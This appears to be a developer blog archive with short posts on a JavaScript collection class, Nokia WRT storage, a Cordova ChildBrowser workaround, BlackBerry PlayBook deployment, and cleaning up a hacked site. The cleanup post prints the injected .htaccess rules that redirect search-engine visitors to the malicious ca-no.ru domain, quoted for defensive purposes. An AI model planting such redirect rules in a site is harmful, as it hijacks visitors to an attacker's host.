Archive
Collection object in Javascript
Often, you’d want to extend the classical Javascript array, and use a collection type object instead. This is a generic collection class that I’ve written:
var Collection=function()
{
// Number of elements in collection
this.count=0;
// The underlying collection
this.collection={};// Add item to the collection with a named key
this.addWithKey=function(key,item)
{
if(this.collection[key]!=undefined)
return undefined;
this.collection[key]=item;
return ++this.count
}// Add item to the collection with a GUID key
this.add=function(item)
{
return this.addWithKey(newGuid(),item);
}// Remove item from the collection by it’s key
this.remove=function(key)
{
if(this.collection[key]==undefined)
return undefined;
delete this.collection[key]
return –this.count
}// Return one item as specied by key
this.item=function(key)
{
return this.collection[key];
}// Apply a function on each element in the collection
this.forEach=function(block)
{
for (key in this.collection)
{
if(this.collection.hasOwnProperty(key))
{
block(this.collection[key],key);
}
}
}// Internal method to generate a Guid
function newGuid() {
var S4 = function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
};
return (S4()+S4()+”-“+S4()+”-“+S4()+”-“+S4()+”-“+S4()+S4()+S4());
}// Saves the collection to localStorage
this.Save = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to save this collection”);
return;
}
if (typeof localStorage == “undefined”)
{
alert(“Browser does not support localStorage”);
return;
}
var strJson = JSON.stringify(this);
localStorage.setItem(‘collection’, strJson);
return strJson;
}// Loads the collection from localStorage
this.Load = function()
{
if (typeof JSON == “undefined”)
{
alert(“Include JSON2.js in order to load this collection”);
return;
}
var strJson = localStorage.getItem(‘collection’);
if (strJson == null)
{
return false;
}
var loaded = JSON.parse(strJson);
this.count = loaded.count;
this.collection = loaded.collection;
return true;
}
return true;
}
Then typical usage would be:
<html>
<head>
<script language=”javascript” src=”collection.js”></script>
<script language=”javascript”>
function init()
{
var dt1 = new Date();
var dt2 = new Date(“October 13, 1975 11:13:00”);var dates=new Collection();
dates.add(dt1);
dates.add(dt2);var strHtml = “”;
dates.forEach(function(p,key){
strHtml += p + ” (” + key + “)<br>”;
});var output = document.getElementById(“output”);
output.innerHTML = strHtml;
}
</script>
</head>
<body onload=”init()”>
<div id=”output”></div>
</body>
</html>
Localstorage equivalent in Nokia WRT
An unfortunate missing feature in Nokia WRT (Web Runtime) is HTML5 Localstorage, but fear not, there is an alternative:
To Save values, replace the following Localstorage call to a WRT call:
localStorage.setItem key, value
widget.setPreferenceForKey value, key
And the equivalent “Get” is:
localStorage.getItem key
widget.preferenceForKey key
More information on this can be read on the Nokia website:
http://www.developer.nokia.com/Community/Wiki/Storing_settings_in_Symbian_Web_Runtime
ChildBrowser plugin with Cordova 1.7.0
I wanted to use the ChildBrowser plugin with Cordova 1.7.0, so that I could capture url change events when a user navigated from page to page within an iPhone app. It took me about an hour to get working, and I’m not sure if I’d recommend the approach I used, but it here it is, warts and all.
1. Downloaded the ChildBrowser plugin from GitHub, (https://github.com/purplecabbage/phonegap-plugins/tree/master/iPhone/ChildBrowser) – added everything apart from the js file into the Plugins folder.
2. Added the ChildBrowser.js file into the www folder.
3. As per the screenshot below, I added * into the External Hosts, and ChildBrowserCommand into the Plugins dictionary in Cordova.plist
3.
4. Now it gets hairy – When compiling, it said that CDVPlugin.h was not found, so I hacked this into the ChildBrowserCommand.h file:
#define CORDOVA_FRAMEWORK
#ifdef CORDOVA_FRAMEWORK
#import “CDVPlugin.h”
5. Using code examples online, I could not get ChildBrowser.install() to return anything but null, until I realized that simply including ChildBrowser.js, it was installing itself automatically.
6. Next problem was, that supposedly _onlocationchange(loc) was supposed to fire on new pages, but it wasn’t, so I decided to hack this into onChildLocationChange in ChildBrowserCommand.m
//NSString* jsCallback = [NSString stringWithFormat:@”ChildBrowser._onLocationChange(‘%@’);”,encUrl];
NSString* jsCallback = [NSString stringWithFormat:@”myLocationChange(‘%@’);”,encUrl];
Then, instead of calling ChildBrowser._onLocationChange, it would call myLocationChange
And the final frankenstein-monstrosity (ugly, but working) in HTML was:
<!DOCTYPE html>
<html>
<head>
<meta name=”viewport” content=”width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no;” />
<meta charset=”utf-8″>
<script type=”text/javascript” charset=”utf-8″ src=”cordova-1.7.0.js”></script>
<script type=”text/javascript” charset=”utf-8″ src=”ChildBrowser.js”></script>
<script type=”text/javascript”>
function onBodyLoad()
{
document.addEventListener(“deviceready”, onDeviceReady, false);
}
function onDeviceReady()
{
window.plugins.childBrowser.showWebPage(“http://google.com”);
}
function myLocationChange(loc)
{
alert(“GOT URL:” + loc);
}
</script>
</head>
<body onload=”onBodyLoad()”>
Loading Google…
</body>
</html>
Once again, I’m not recommending this approach, but it worked for me.
Fix: http://ca-no.ru/example/status.php Hack
If your website redirects to http://ca-no.ru/example/status.php when you access it via google, here is the fix:
Delete your .htaccess file, and replace it with this
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
If you’re curious, this is what’s inserted into the .htaccess file, when the site is infected.
<IfModulemod_rewrite.c>
RewriteEngineOn
RewriteCond%{HTTP_REFERER}^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
RewriteCond%{HTTP_REFERER}^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule^(.*)$http://ca-no.ru/example/status.php[R=301,L]
</IfModule>
Load BAR file onto Playbook
To load a BAR file onto a playbook, you need to put it into development mode first, which is
- Access Settings by swiping from the top on the home screen
- Select Security
- Select Development mode
- Select User Development Mode “ON”
- Set a password (in my case “pass”)
- Note your IP address from About-> Network -> Wifi -> ipV4
If you don’t do this step, you get the error:
Error: Device is not in the Development Mode. Switch to Development Mode from Se
curity settings on the device.
Otherwise you see this:
C:\Program Files\Research In Motion\BlackBerry WebWorks SDK for TabletOS 2.2.0.5
\bbwp\blackberry-tablet-sdk\bin>blackberry-deploy.bat -installApp -password pass
-device 192.168.0.100 -package “C:\BBWP\SatNav\Build\SatNav.bar”
Info: Sending request: Install
Error: User authentication failed
Info: Sending request: Install
Info: Action: Install
Info: File size: 707501
Info: Installing …
Info: Processing 707501 bytes
Info: Progress 3%…
Info: Progress 100%…
actual_dname::SatNav92aabe52d50d9673fe56dd61f146177.gYABgCL3cXiEoxXlTshS6VdnHC0
actual_id::gYABgCL3cXiEoxXlTshS6VdnHC0
actual_version::1.0.0.0
result::success